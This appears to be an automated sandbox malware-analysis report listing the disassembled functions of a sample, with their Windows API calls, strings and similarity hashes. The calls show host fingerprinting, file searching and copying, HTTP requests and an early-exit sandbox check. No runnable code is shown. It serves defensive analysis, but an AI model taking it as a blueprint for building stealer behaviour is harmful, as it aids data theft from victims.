Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0257B740), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0257AD20,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 6c70da6f997ea1a07a0ff223df1852c905d3c1e48a96d4920ed4292aefcaea07
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 6c70da6f997ea1a07a0ff223df1852c905d3c1e48a96d4920ed4292aefcaea07
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,0255D490), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 209cc3fcd535cf035b472f204658cf99d7fece6c6bbc77ec1900bdc619610b5d
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: 209cc3fcd535cf035b472f204658cf99d7fece6c6bbc77ec1900bdc619610b5d
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,0257A640), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0255D480), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: 780a4e91eb43c6b829e4cdc1526a44519fec9ac62d95e5b0dbb15233ee45dd38
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 780a4e91eb43c6b829e4cdc1526a44519fec9ac62d95e5b0dbb15233ee45dd38
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CA03060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA03095

Part of subcall function 6CA035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA8F688,00001000), ref: 6CA035D5
Part of subcall function 6CA035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA035E0
Part of subcall function 6CA035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA035FD
Part of subcall function 6CA035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA0363F
Part of subcall function 6CA035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA0369F
Part of subcall function 6CA035A0: __aulldiv.LIBCMT ref: 6CA036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA0309F

Part of subcall function 6CA25B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA256EE,?,00000001), ref: 6CA25B85
Part of subcall function 6CA25B50: EnterCriticalSection.KERNEL32(6CA8F688,?,?,?,6CA256EE,?,00000001), ref: 6CA25B90
Part of subcall function 6CA25B50: LeaveCriticalSection.KERNEL32(6CA8F688,?,?,?,6CA256EE,?,00000001), ref: 6CA25BD8
Part of subcall function 6CA25B50: GetTickCount64.KERNEL32 ref: 6CA25BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA030BE

Part of subcall function 6CA030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA03127
Part of subcall function 6CA030F0: __aulldiv.LIBCMT ref: 6CA03140

Part of subcall function 6CA3AB2A: __onexit.LIBCMT ref: 6CA3AB30

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 8f1b373b7eb24ae4d95d3eb14cc66c70cf9777ce6b509f427eaf2e8d5204c66a
Instruction ID: b8a46173d7737245c9011a2d76f88feef07b167090c175d05013e0ae7dfd165e
Opcode Fuzzy Hash: 8f1b373b7eb24ae4d95d3eb14cc66c70cf9777ce6b509f427eaf2e8d5204c66a
Instruction Fuzzy Hash: 13F04922E22BC797CB14DF349D411E67370AF6B218F10932DE88857521FB2061DD8382

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0257A600,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0257A600,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,02579C40,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,0257A4C0,00000000,?,00420DF4,00000000,?,00000000,00000000,?,02579E68,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,0255A130,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,0257A700,00000000,00000000,000000FF,000000FF), ref: 0041791F
Part of subcall function 004178A0: RegCloseKey.ADVAPI32(?), ref: 00417932

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02579D00,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02579D00,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,0255A628,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
Part of subcall function 00417DC0: RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
